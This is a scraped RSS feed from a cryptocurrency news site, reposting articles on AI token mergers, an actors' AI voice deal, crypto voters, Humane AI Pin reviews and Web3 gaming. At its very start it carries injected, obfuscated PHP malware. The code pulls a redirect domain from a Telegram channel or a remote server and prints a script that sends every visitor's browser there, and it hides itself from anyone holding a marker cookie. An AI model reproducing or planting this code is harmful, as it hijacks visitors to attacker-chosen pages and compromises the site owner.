if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>// BEGIN ENQUEUE PARENT ACTION // AUTO GENERATED - Do not modify or remove comment markers above or below: if ( !function_exists( 'chld_thm_cfg_locale_css' ) ): function chld_thm_cfg_locale_css( $uri ){ if ( empty( $uri ) && is_rtl() && file_exists( get_template_directory() . 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'/custom-script.js', array('jquery')); wp_enqueue_style('style-cfg-child', get_stylesheet_uri(), array(), "4.2"); } add_action( 'after_setup_theme', 'remove_plugin_image_sizes', 999 ); function remove_plugin_image_sizes(){ remove_image_size( '2048x2048' ); remove_image_size( '1536x1536' ); remove_image_size( 'large' ); } function action_dynamic_sidebar_after( $array ) { if($array == "home-content-widgets") { echo the_content(); } }; add_action( 'dynamic_sidebar_after', 'action_dynamic_sidebar_after', 10, 1 ); add_action( 'trashed_post', 'mtp_delete_attached_thumbnail_for_trashed_product', 20, 1 ); function mtp_delete_attached_thumbnail_for_trashed_product( $post_id ) { // gets ID of post being trashed $post_type = get_post_type( $post_id ); // does not run on other post types if ( $post_type != 'post' ) { return true; } // get ID of featured image $post_thumbnail_id = get_post_thumbnail_id( $post_id ); // delete featured image wp_delete_attachment( $post_thumbnail_id, true ); } Trending Cryptos – CoinsMegaNews https://coinsmeganews.com Latest Bitcoin & Cryptocurrency News Wed, 17 Apr 2024 00:20:47 +0000 en-US hourly 1 https://wordpress.org/?v=6.7.1 https://coinsmeganews.com/wp-content/uploads/2021/05/favicon.png Trending Cryptos – CoinsMegaNews https://coinsmeganews.com 32 32 These AI Tokens Are Set to Merge—Here’s How It Will Work https://coinsmeganews.com/these-ai-tokens-are-set-to-merge-heres-how-it-will-work/ https://coinsmeganews.com/these-ai-tokens-are-set-to-merge-heres-how-it-will-work/#respond Wed, 17 Apr 2024 00:20:47 +0000 https://coinsmeganews.com/these-ai-tokens-are-set-to-merge-heres-how-it-will-work/ [ad_1]

A trio of leading AI-related crypto tokens are set to merge following a successful community vote, as the Artificial Superintelligence Alliance announced the approval of the new ASI token on Tuesday.

The new ASI token combines Fetch.AI’s FET, SingularityNET’s AGIX, and Ocean Protocol’s OCEAN into a single digital asset. The new ASI token, the alliance claims, will have an anticipated combined total value of $7.5 billion once the merger is completed in May.

With different communities coming together, Fetch.AI CEO and Chairman of the Alliance, Humayun Sheikh, explained that the three projects will remain distinct, with members of the Artificial Superintelligence Alliance board only deciding on new entries to the Alliance.

“All projects make their own decisions as they do currently, giving full independence to the projects and yet bringing the technology together to act as a whole,” Sheikh told Decrypt.

Community disputes, Sheikh said, will be handled by voting. Only token stakers will be able to vote.

“The objective is to make ASI the network of AI true decentralization of technological development and deployment,” he said.

In March, Fetch.AI, SingularityNET, and Ocean Protocol announced the creation of the Superintelligence Alliance. The Alliance, they said, aims to accelerate investment into artificial general intelligence (AGI) and access to AI models and databases.

“Our joint vision has always been to roll out AGI and ASI in an open, democratic, and decentralized manner,” SingularityNET founder and CEO Dr. Ben Goertzel said in a statement. “The token merger brings us closer to that goal and strengthens our ability to challenge Big Tech’s control over AI.”

Like the rest of the cryptocurrency market in recent days, AI tokens are broadly down, with FET trading at $2.08, down 20.5% for the last seven days. AGIX is down 19.7% to $0.85, and OCEAN is down 20.7% to $0.88.

Now that the merger is complete, the Alliance said that FET will be renamed to ASI, with a new total supply of 2.63 billion tokens. AGIX and OCEAN tokens will then migrate over to ASI, with conversion rates of 0.433350-to-1 and 0.433226-to-1, respectively.

After the merge is complete, AGIX and OCEAN held in self-custody wallets will be provided a means to swap for ASI, with FET tokens automatically changing to the new token. AGIX and OCEAN held on cryptocurrency exchanges will be automatically converted to the new ASI token, the Superintelligence Alliance said.

As the Alliance explains, the tickers for AGIX and OCEAN will be retired on exchanges where they are currently listed. It warned holders not to try to send the tokens to exchanges once the conversion to ASI has taken place.

“We’re glad that the Fetch and SingularityNet communities have cleared this hurdle and approved the token merger,” Ocean Protocol founder and CEO Bruce Pon said in a statement. “We’re excited to get started.”

Edited by Andrew Hayward

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Actors, Record Labels Ink Deal Limiting AI Voice Use https://coinsmeganews.com/actors-record-labels-ink-deal-limiting-ai-voice-use/ https://coinsmeganews.com/actors-record-labels-ink-deal-limiting-ai-voice-use/#respond Tue, 16 Apr 2024 00:19:59 +0000 https://coinsmeganews.com/actors-record-labels-ink-deal-limiting-ai-voice-use/ [ad_1]

Voting started today on a deal negotiated between the Screen Actors Guild-American Federation of Television and Radio Artists (SAG-AFTRA) and members of the recording industry that limits record labels in using artificial intelligence with actors’ voices.

“If the companies are going to be using any kind of AI tool for digital voice replication, they will have to secure the written consent of the artist to do that,” union executive director and chief negotiator Duncan Crabtree-Ireland told Decrypt. “Not only will it have to secure that, but it will have to be in a separate writing and can’t be part of the royalty agreement or the main performer contract.”

Joining SAG-AFTRA in the agreement, announced on Friday, is a coalition of record labels, including Warner Music Group, Sony Music Entertainment, Universal Music Group, and Disney Music Group.

Under the agreement terms, recording studios must provide “reasonably specific details” about the intended use of the digital replica and cannot rely on a generic contract that grants unrestricted use. Crabtree-Ireland said the artist must be fully informed to meaningfully decide whether to agree to use their digital likeness.

If a label releases a recording using a digital replica without proper consent, the artist can demand its removal, Crabtree-Ireland added, and failure to comply allows the artist to pursue a grievance through arbitration or seek monetary damages.

“Parts of this agreement, including that consent framework, was really inspired by the work we did last year with the studios and streamers,” Crabtree-Ireland said. “If you were to crosscheck it, what you would find is the language around the reasonably specific description of intended use—the language around the written consent and those things—originated out of last year’s strike.”

Members of SAG-AFTRA and Writers Guild of America had staged a countrywide walkout after negotiations with the Alliance of Motion Picture and Television Producers (AMPTP) fell apart.

In negotiations with the AMPTP, SAG-AFTRA called for increased wages, residuals for streaming, and A.I. usage protections to safeguard their likenesses, alongside significant increases in pension and health plan contributions. The new deal with the record labels will include a 26% wage increase for performers.

The latest negotiated agreement also includes a specific compensation framework for the use of synthetic voices or AI-generated voices—voices that are not meant to replicate a human performer’s voice.

“I think that’s a step forward in that regard,” Crabtree-Ireland said. “Perhaps it will become the evolution of each of these contracts, because my vision is that every round of bargaining that comes up, we will be evolving the AI-related provisions to keep up with advances in technology and to address any areas where we identify the need for improvement.”

Beyond Hollywood, national policymakers have also looked for ways to protect performers, musicians, and writers from having their work used to train AI models without compensation. Last week, a new law proposed by California congressman Adam Schiff—the Generative AI Copyright Disclosure Act—would require companies to disclose sources used to train their AI models to the U.S. Copyright Office at least a month before releasing a new version.

“Obviously, in the public policy front, there’s still a lot of discussions going on,” Crabtree-Ireland said. “It’s a complicated matter to get legislation enacted when there are so many competing interests at play.”

He cited the “No Fakes Act” introduced by U.S. Senators Marsha Blackburn (R-TN), Thom Tillis (R-NC), Amy Klobuchar (D-MN), and Chris Coons (D-DE), last fall.

“What we really needed is a federal right that establishes that artists and frankly everybody else has the right to control the use of their image, voice, and likeness by AI technology and that everyone has a consent right,” Crabtree-Ireland said. “We very much want to see that enacted and hope that will be this year.”

Edited by Ryan Ozawa.

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Crypto Owners a Growing Force Heading into 2024 Election: Galaxy Digital https://coinsmeganews.com/crypto-owners-a-growing-force-heading-into-2024-election-galaxy-digital/ https://coinsmeganews.com/crypto-owners-a-growing-force-heading-into-2024-election-galaxy-digital/#respond Mon, 15 Apr 2024 00:19:05 +0000 https://coinsmeganews.com/crypto-owners-a-growing-force-heading-into-2024-election-galaxy-digital/ [ad_1]

Voters who hold Bitcoin and other cryptocurrencies could have a decisive impact in the upcoming U.S. presidential election, according to the latest market commentary released this week by Galaxy Digital, a cryptocurrency financial services firm.

The report points to recent polling showing growing crypto ownership, especially among younger voters and communities of color, and argues these “crypto voters” could determine the outcome in a close race between President Biden and former president Donald Trump.

“As we inch closer to November and investors begin to narrow in on ballot implications for markets, the crypto industry may play a larger role than it ever has,” the Galaxy Digital report states, citing a March poll by crypto venture capital firm Paradigm that found 19% of registered voters own cryptocurrency, including over 11 million who own more than $1,000 worth.

The Paradigm poll also found that crypto owners currently favor Trump over Biden by 48% to 39%.

Independent of crypto ownership, Paradigm’s poll mirrors other national polls showing a close race, with 45% of registered voters supporting Trump and 42% backing Biden. But Paradigm’s survey suggests that some 2020 Biden voters who own crypto are switching to Trump, “possibly because of actions taken by some agencies in the Biden Administration.”

While not specifying which actions those might be, the crypto industry has broadly lambasted the Securities and Exchange Commission (SEC) under Chair Gary Gensler for regulating digital assets through enforcement actions rather than clear rules.

Senior Biden advisors have also called for stricter cryptocurrency regulation. By contrast, congressional Republicans have sought to pass legislation limiting federal oversight of crypto. Meanwhile, Trump has pledged to block the creation of a central bank digital currency (CBDC) if re-elected, making digital assets a key campaign issue.

Paradigm said that “it is clear that one thing these [crypto owner] groups care about is how policymakers will approach crypto,” a view the Galaxy report echoes.

“The entrenched position of crypto ownership amongst Americans is further evidenced by the fact that just 32% of the voting population owns stock of any kind,” the latest report observes.

Crypto-focused political action committees (PACs) are already spending big to influence key 2024 races. One leading PAC, Fairshake, has raised over $85 million from major crypto players like Coinbase and Andreessen Horowitz. It spent more than $10 million to help defeat a crypto-skeptical Democrat in a California Senate primary.

Fairshake now plans to target four critical Senate races—in Ohio, Montana, Michigan and Maryland—that could determine control of the chamber. In Ohio and Montana, Fairshake will focus on the general election, where incumbent Democratic senators have questioned the need for crypto.

The PAC has not yet announced which candidate it will back in those states.

However, Matthew Sigel, head of digital asset research at investment firm VanEck, argues that the Biden administration is hindering broader crypto adoption and that a Trump victory could boost the industry.

“The Biden Administration does not want banks and brokers to touch digital assets,” Sigel told Decrypt last month. “If the presidency changes, we’re going to see a lot more support for this industry.”

The rising influence of crypto owners as an electoral force coincides with the surging popularity of Bitcoin and other digital assets. Driven by the launch of the first U.S. Bitcoin exchange-traded funds (ETFs), the largest cryptocurrency reached a record high above $73,000 last month.

“With consistent demand pressure from the newly launched spot BTC ETFs, ‘digital gold’ broke $70,000 for the first time in its history,” the Galaxy report notes. “Bitcoin’s mainstream adoption obtained further support this month on several fronts,” including growing interest from major financial advisors and pension funds.

But the report cautions that the impending “halving” of Bitcoin’s mining rewards next week—which in the past has served as a catalyst for even bigger gains—may not have the same effect this cycle given Bitcoin’s surge to new highs ahead of the event.

Still, with the “black cloud” of the criminal case against FTX-founder Sam Bankman-Fried now in the rear-view mirror, Galaxy argues the crypto industry is poised for growth as the 2024 election approaches:

“We hope the removal of bad actors provides an uninhibited pathway for brighter days in the digital assets realm,” the report concludes.

Edited by Ryan Ozawa.

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Humane AI Pin Reviews Pile On a Half-Baked Device https://coinsmeganews.com/humane-ai-pin-reviews-pile-on-a-half-baked-device/ https://coinsmeganews.com/humane-ai-pin-reviews-pile-on-a-half-baked-device/#respond Sun, 14 Apr 2024 00:18:26 +0000 https://coinsmeganews.com/humane-ai-pin-reviews-pile-on-a-half-baked-device/ [ad_1]

It was in the comparable primordial days of AI hardware when the Humane AI pin was announced, a $700 wearable that was teased on a fashion runway and led a nascent category of device that soon included the $200 Pocket AI and the yet-to-be-released Rewind Pendant.

Months later, the review embargo finally expired, and dozens of tech media and influencers went live with their early-adopter thoughts. The overall verdict was grim.

“A promising mess” declared a Washington Post headline, while Wired said the Humane AI gadget was “too bare bones,” too clunky, too limited. Things only went downhill from there.

The Humane AI Pin was pitched as an AI-powered personal assistant, replete with an onboard large-language model (LLM) and a laser-powered, palm-pointing display. Attached to your shirt with a magnetized battery pack, the real heft came from its price tag of $699 upfront, plus a $24 monthly subscription fee.

The idealistic vision of wearable AI is a post-smartphone world, where you can access your own information and the world’s information hands free. The reality, if the Humane AI pin represents the state of the art, is that we’re a long way away from that tech-utopian future.

A unanimous verdict

The first reviews are not pretty, describing the user experience as frustrating at best and comparing it to the false promise of Theranos at worst.

What’s the problem? Everything, for starters. Its elegance and beauty are only skin deep.

Arun Maine, a prominent YouTube tech reviewer, said the device is not only expensive but also requires an internet connection to function, making it virtually useless in areas with poor connectivity.

“I tested the viral Humane AI Pin,” reads the title of his 23-minute video review. “It’s a nightmare.” Maine says the device is difficult to use, has a slow and unresponsive touchpad, and a voice interface that broadcasts your interactions to everyone within earshot.

“I don’t think I’ve ever wanted to love a piece of technology so much and yet still be unable to,” he said.

Top tech podcaster Marques Brownlee echoed these sentiments, stating that the device is frustratingly slow and lacks solid integration with other devices. He also said that the device is heavy and has inconsistent battery consumption.

Brownlee charitably allowed that there’s still a good use case for the pin, if you truly want to ditch your smartphone, saying the tasks you perform on a handheld slab of metal and glass “you can do that today with the Humane pin.” But he said “it will take longer to do many things, you’ll do many things worse than you originally would have, your photos will look worse, you will just have less capabilities.

”You’ll have a new phone number, you’ll have to charge another device… but you’ll have less screen time,” he continued. “Mission accomplished.”

Steve Mosser from MacRumors was equally unimpressed, declaring that the device’s functionalities do not surpass those of a smartphone and that it doesn’t integrate with traditional phone services, complicating the messaging experience. He also points out that the device is an expensive product with an expensive subscription for a device that does less.

Given the velocity of the AI hype cycle, Moser said, Humane was simply too slow out of the gate.

The Verge was even more scathing in their review, stating that the device is “thoroughly unfinished and so totally broken in so many unacceptable ways.”

“Should you buy this thing? That one’s easy. Nope. Nuh-uh. No way,” Verge editor at large David Pierce writes in his extended review. “There are too many basic things it can’t do, too many things it doesn’t do well enough, and too many things it does well but only sometimes that I’m hard-pressed to name a single thing it’s genuinely good at.”

The Washington Post, meanwhile, called out the Humane AI Pin camera, which it said produced grainy and blurry images in low-light conditions, before concluding that the AI assistant “produces results that are far from helpful.”

“If there’s a lesson here, though, it’s that rather than splurging on a new device that promises to fix our problems, we may be better off forcing ourselves to use the ones we have more judiciously,” Chris Velasco writes.

Wired similarly points out that the device cannot do anything that a smartphone cannot already do, and in most cases, the smartphone can do it better.

Call and response

Humane is aware of the storm of bad reviews, and promised some upgrades for this summer, including nutrition advice, agents, more voice settings, photo sharing via SMS, timers and clocks, reminders, dynamic UI, push support, gestures, and translations—all features that have pretty much been fully refined on smartphones.

A software development kit (SDK) is also being developed to extend the capabilities of the Humane AI Pin. Perhaps when developers can build third-party apps for this specific hardware, the pin will have its iPhone moment.

But don’t hold your breath.

Edited by Ryan Ozawa.

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Here’s How Many ‘Notcoin’ Tokens You’ll Get for Your In-Game Coins https://coinsmeganews.com/heres-how-many-notcoin-tokens-youll-get-for-your-in-game-coins/ https://coinsmeganews.com/heres-how-many-notcoin-tokens-youll-get-for-your-in-game-coins/#respond Fri, 12 Apr 2024 00:17:15 +0000 https://coinsmeganews.com/heres-how-many-notcoin-tokens-youll-get-for-your-in-game-coins/ [ad_1]

Notcoin’s planned token launch on The Open Network (TON) is just over a week away, and the team behind the viral Telegram-based game has shared some key details about how players’ earned in-game coins will be converted to on-chain tokens.

Players racked up trillions upon trillions of in-game coins by tapping their phone screens, but that huge tally was sure to make trading crypto tokens a bit of a headache. The Notcoin team had previously said that it planned to knock off some zeros during the conversion process to make things more manageable once minted, and now we know how that’s going to work.

Notcoin plans to move the decimal point to the left by three numbers. So if you mined 1,000 in-game coins, then you’ll get a single Notcoin. Mined 10 million coins? If so, then you’ll get 10,000 of the on-chain tokens. And if you mined 532,487 coins, then you’ll get 532.487 NOT.

In other words, the conversion rate is 1,000 in-game coins to a single NOT crypto token. That’s true for everyone, so players aren’t getting “fewer” coins via this process—it’s just the conversion rate that’s been chosen to bring players’ earnings on-chain.

According to the team, there will be 102,719,221,714 NOT minted in total. Of that, about 80.2 billion NOT will go to players/miners, while 22.5 billion NOT—which was at least in part donated by players to an ecosystem fund—will be used to pay out token rewards in the game after the mint, as well as to fund future development and other initiatives.

Notcoin also said it is purging suspicious accounts that it believes are automated bots that used scripts to manipulate the game.

Furthermore, developer Open Builders detailed the future gameplay model in which external projects can buy NOT tokens from the open market and pay it into the game, thus rewarding players with crypto rewards for interacting with their content. Decrypt’s GG first reported details of the planned shift last week.

It’s an evolution of what’s already been in the game, with players earning in-game coins for following Telegram channels or Twitter accounts or visiting project websites.

But in the future, these companies will pay for the right to be exposed to Notcoin’s 35 million players, with a portion of that payment also put into the NOT treasury—and another portion burned forever, gradually cutting the overall Notcoin supply along the way.

Notcoin is also planning new monthly “experiences” to shake up the gameplay, keep players checking back, and deploy fresh meme tokens along the way.

The Notcoin token launch is currently planned to take place on or around April 20—the same expected date as the Bitcoin halving.

Pre-market vouchers for Notcoin have roughly doubled in price over the last couple weeks, with an NFT voucher for 10 million in-game coins (or 10,000 TON tokens) rising from a price of about $50 worth of Toncoin (TON) to about $90 to $100 worth as of Thursday.

Edited by Ryan Ozawa.

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Polkadot Races Into Indianapolis 500 With Crypto-Branded Car https://coinsmeganews.com/polkadot-races-into-indianapolis-500-with-crypto-branded-car/ https://coinsmeganews.com/polkadot-races-into-indianapolis-500-with-crypto-branded-car/#respond Wed, 10 Apr 2024 00:11:38 +0000 https://coinsmeganews.com/polkadot-races-into-indianapolis-500-with-crypto-branded-car/ [ad_1]

Polkadot is coming to the Indianapolis 500 after community members voted to select IndyCar racing star Conor Daly as a brand ambassador. The year-long collaboration, announced by Daly’s company during a press conference on Tuesday, will begin at the preeminent race set to take place in May.

A proposal to sponsor Daly passed with 95.8% approval in a community vote on the Polk Assembly website. The plan, which was up for review from February 19 to March 14, requested 290,000 DOT, worth around $2.1 million, to cover the $1.7 million commercial sponsorship fee for a race team plus other expenses.

“The Indy 500 is iconic and is the greatest spectacle in racing—ask any race car driver and it is the one race they would want to win,” Polkadot community contributor Chris Wade, who led the initiative, told Decrypt.

“Plus, Polkadot’s sponsorship of Conor includes a NASCAR truck and Nitro Cross Race, and Conor’s experience straddles them all,” Wade added.

Daly has driven in the Indy 500 and Daytona 500 in the same year and Formula 2 series in Europe.

“He’s fast, powerful, and adaptive—just like Polkadot,” Wade said.

Launched in 2020 by Ethereum Co-Founder Gavin Wood, Polkadot is a “multi-chain network” that aims to connect different specialized blockchains into a single unified network. Currently, the 15th largest blockchain by market capitalization according to CoinGecko, Polkadot (DOT) is up 3.2% for the week and trading at $8.84.

“The fact that thousands of individuals in the Polkadot community—not a corporate marketing team—used their voices to vote and select me as their ambassador is an incredible honor and reflective of the power of what a more free and open internet can look like in the future,” Daly said in a statement.

Polkadot IndyCar
Image: Polkadot/Conor Daly

The sponsorship deal with Daly, executed through Dreyer & Reinbold Racing and Cusick Motorsports, is the latest partnership between the racing and crypto industries.

In 2021, McLaren Racing tapped Tezos to launch a collection of Formula 1 NFTs. In February 2022, Red Bull Racing signed a $150 million sponsorship deal with the cryptocurrency exchange Bybit. The Red Bull Racing deal was followed by another in June 2023 with Sui blockchain creator Mysten Labs.

In January, Grammy Award-winning rapper Drake announced a two-year naming sponsorship deal between Sauber Formula 1 and the crypto gambling site Stake.

“The fact that I’m racing not just for a brand name or logo, but representing developers, investors and regular people that are building tomorrow’s web, is thrilling and overwhelming,” Daly added. “We’re bringing power back to people, while making sports history.”

Edited by Ryan Ozawa.

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Ethereum Card Game ‘Gods Unchained’ Crosses Over With ‘Guild of Guardians’ in New Expansion https://coinsmeganews.com/ethereum-card-game-gods-unchained-crosses-over-with-guild-of-guardians-in-new-expansion/ https://coinsmeganews.com/ethereum-card-game-gods-unchained-crosses-over-with-guild-of-guardians-in-new-expansion/#respond Tue, 09 Apr 2024 00:09:27 +0000 https://coinsmeganews.com/ethereum-card-game-gods-unchained-crosses-over-with-guild-of-guardians-in-new-expansion/ [ad_1]

Immutable Games, the publisher of Ethereum NFT card game Gods Unchained, announced Monday that it will release an expansion pack called Dread Awakening, which will feature a crossover with the upcoming mobile role-playing game Guild of Guardians.

The Dread Awakening set, slated to drop on April 23, will include 148 cards minted on Immutable X, an Ethereum scaling network originally created by the publisher. Guild of Guardians, also from Immutable Games, is set to hold its global launch on May 15.

“This was a really fun expansion for us to work on because we’ve been able to lean into the creativity and lore of Guild of Guardians, while working really closely and collaboratively with a team that is quite literally sitting right next to me,” said Gods Unchained Executive Producer Daniel Paez, in a release.

The expansion’s “cosmic horror” theme “introduces new mechanics and cards that will reshape the meta and hint to a bigger world than ever imagined,” the announcement added.

“What makes this even more exciting for me is the anticipation of things to come from this collaboration,” added Paez. “IP crossovers are just the tip of the potential we can unleash with web3 gaming—true game interoperability is right around the corner.”

Paez previously spoke with Decrypt’s GG about the potential for interoperability in blockchain games. Gods Unchained previously launched on Ethereum years back, but now uses Immutable X for cheaper and faster transactions. The game recently expanded to iOS and Android, with Immutable claiming a 60% jump in monthly active users.

Editor’s note: This article was written with the assistance of AI. Edited and fact-checked by Andrew Hayward.

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This Week in Crypto Games: Notcoin Token at Bitcoin Halving, Saga Breaks Binance Record, and BTC ‘Game Boy’ https://coinsmeganews.com/this-week-in-crypto-games-notcoin-token-at-bitcoin-halving-saga-breaks-binance-record-and-btc-game-boy/ https://coinsmeganews.com/this-week-in-crypto-games-notcoin-token-at-bitcoin-halving-saga-breaks-binance-record-and-btc-game-boy/#respond Mon, 08 Apr 2024 00:07:38 +0000 https://coinsmeganews.com/this-week-in-crypto-games-notcoin-token-at-bitcoin-halving-saga-breaks-binance-record-and-btc-game-boy/ [ad_1]

The crypto and NFT gaming space is busier than ever lately, what with prominent games starting to release, token airdrops piling up, and a seemingly constant array of other things happening at all times. It’s a lot to take in!

Luckily, Decrypt’s GG is all over it. And if you need a quick way to get caught up on the latest moves around crypto video games, we’re debuting This Week in Crypto Games.

Our weekend roundup serves up the biggest news from the past week, along with a few other tidbits you might have missed. We also showcase a few of our original stories from the week.

Biggest news

Notcoin token dated: Viral Telegram-based game Notcoin will launch its NOT token on The Open Network (TON) on or around April 20—also the current estimated date of the Bitcoin halving, so it’s going to be an extra-busy day for the crypto world.

And what will happen with Notcoin after the token drops? Yes, the coin-tapping game is indeed coming back, but there will be some big changes to mining coins and how the game’s ecosystem will work. We’ve got those details here at Decrypt’s GG, straight from the team.

Saga breaks Binance record: Speaking of gaming tokens—the SAGA token of layer-1 blockchain network Saga will launch on Tuesday, April 9, and Binance is currently holding a Launchpool campaign to offer up 45 million tokens (half the initial supply) to users who stake either BNB or FDUSD tokens.

And there’s been ample demand: As of this writing, over $13.3 billion worth of the tokens is being collectively staked by more than 450,000 total Binance users, setting a new record for a Binance Launchpool campaign.

Bitcoin gaming handheld: The BitBoy One (no relation to the crypto influencer) is a Bitcoin-centric handheld gaming device that looks like a classic Game Boy, albeit with a vivid translucent orange shell. But this upcoming device, estimated to cost $500 when it launches later this year, runs play-to-earn games, emulates classic games, works as a Bitcoin hardware wallet, and can apparently mine crypto airdrops from decentralized physical infrastructure networks (DePINs).

Coachella scavenger hunt: The Coachella music festival is launching an on-site game that lets attendees collect Avalanche NFT-based stamps via an app with an integrated OpenSea Wallet. It ultimately lets them earn prizes, rewards, and special access in the process. This follows a recent release of Coachella NFTs on Avalanche via OpenSea.

ICYMI

Pixel Vault is bringing its crypto game Battle Plan and the Reboot gaming protocol to Xai, a layer-3 Ethereum gaming network built with Arbitrum tech.
Today, a social simulation game built with generative AI and NFTs, raised a $5 million seed round announced last week led by Sfermion and Big Brain Holdings.
Square Enix’s Symbiogenesis game on Ethereum revealed more details about its collaboration with Avalanche-based shooter Shrapnel. Content from Shrapnel will be featured in a “treasure hunt” where players can earn NFTs, beginning on Tuesday.
Trala Lab, subsidiary of mobile game publisher Joycity, will build on Ethereum scaling network zkSync.

GG spotlight

Here are a few of our original stories from this past week that we think are well worth a weekend read:

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Avenged Sevenfold’s Season Pass is Turning Heavy Metal Fans Into Blockchain ‘Evangelists’ https://coinsmeganews.com/avenged-sevenfolds-season-pass-is-turning-heavy-metal-fans-into-blockchain-evangelists/ https://coinsmeganews.com/avenged-sevenfolds-season-pass-is-turning-heavy-metal-fans-into-blockchain-evangelists/#respond Sun, 07 Apr 2024 00:04:08 +0000 https://coinsmeganews.com/avenged-sevenfolds-season-pass-is-turning-heavy-metal-fans-into-blockchain-evangelists/ [ad_1]

Heavy metal band Avenged Sevenfold have long been Web3 enthusiasts, launching their own line of Deathbats NFTs and building out token-gated ticket sales with Ticketmaster.

Now, in what the band’s calling the “culmination” of its Web3 efforts, it’s launched Season Pass, a decentralized fan rewards platform that lets Avenged Sevenfold followers collect rewards for participating in activities linked to the band. It’s like the battle pass in popular video game Fortnite, but focused on the band.

Frontman Matt Sanders (aka M. Shadows) told Decrypt that by slowly introducing fans to the benefits of Web3, “they become evangelists for it, because they then go to other concerts or other communities of artists that they enjoy.”

“They can compare, ‘Which fandom do I enjoy participating in?’ if you show them all the positive aspects,” he said, adding that they can balance those against Web3 challenges like crypto wallet security. “If you take all the good and the bad, and you kind of weigh them together, you just play the long game and let them be the ones that explain it to other people,” he added.

Season Pass. Image: Avenged Sevenfold

Built on Ethereum scaling network Polygon, Season Pass rewards fans for redeeming digital stubs for concert tickets, streaming the band’s music, and buying NFC-chipped merchandise. Those points unlock tiered rewards, which can range from digital collectibles to merch discounts and previously unreleased demo tracks. For the band’s most dedicated fans, the top tier of rewards includes free concert tickets and meet-and-greets.

Season Pass. Image: Avenged Sevenfold

Because they’re distributed on a decentralized platform, fans have true ownership of those rewards and can trade them on third-party marketplaces. Avenged Sevenfold had the advantage of working with an already established fanbase, Sanders said.

“We had 20 years of goodwill with them, and they knew we weren’t doing something funky to ruin our reputation with them,” he said, adding that the band “parlayed that goodwill we had with them and brought them into something that we think is even cooler.”

A lot of bands have been “sitting on the sidelines” waiting to see how Avenged Sevenfold’s Web3 gamble plays out, Sanders said. Two years on from the launch of its Deathbats Club NFT collection, and with the band playing the second leg of their LIBAD tour, the benefits are starting to become apparent, in what he calls the “true come to Jesus moment.”

Now, he said, “the fans are going to speak and artists are going to have to listen.”

Sanders expects Web3 adoption in the music industry to be driven by established bands like Avenged Sevenfold, in parallel with emerging artists whose fans have grown up with crypto. “The fact that we’re in our 40s and we’re trying to do this almost breaks the Matrix,” he said, adding that, “The way this should normally happen is these young kids coming up create a completely different music industry—the music industry that we’re trying to create 25 years into our career.”

